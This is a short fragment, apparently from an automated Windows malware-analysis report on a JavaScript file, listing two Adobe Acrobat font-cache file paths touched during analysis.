C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7680

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
545019492124428424.js